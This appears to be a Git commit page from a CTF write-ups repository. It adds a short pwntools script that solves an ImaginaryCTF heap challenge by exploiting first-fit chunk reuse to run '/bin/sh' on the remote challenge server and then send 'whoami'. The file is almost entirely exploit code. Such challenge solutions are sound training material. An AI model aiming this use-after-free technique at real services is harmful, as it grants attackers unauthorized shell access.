vee1e/Write-ups
1
0
Fork 0
mirror of https://github.com/vee1e/Write-ups.git synced 2026-09-01 11:08:39 +00:00
Code Issues Projects Releases Packages Wiki Activity Actions

priv esc chal imaginary

Browse source
This commit is contained in:
Rajat Agarwal 2021-10-02 01:30:32 +05:30
parent e55da8e5f2
commit 3cbecac8ad
1 changed files with 25 additions and 0 deletions
Download patch file Download diff file Expand all files Collapse all files

25
misc/first_fit.py Normal file
View file

@ -0,0 +1,25 @@
from pwn import *
r = remote("chal.imaginaryctf.org", 42003)
# for i in range(0,7):
r.recvuntil('1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ')
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("3")
r.recvuntil(">> ")
r.sendline("/bin/sh")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("2")
r.recvuntil("What do I free?\n(1) a\n(2) b\n>> ")
r.sendline("1")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("1")
r.recvuntil("What do I malloc?\n(1) a\n(2) b\n>> ")
r.sendline("2")
r.recvuntil("1: Malloc\n2: Free\n3: Fill a\n4: System b\n> ")
r.sendline("4")
r.sendline("whoami")
print(r.recvline())
r.close()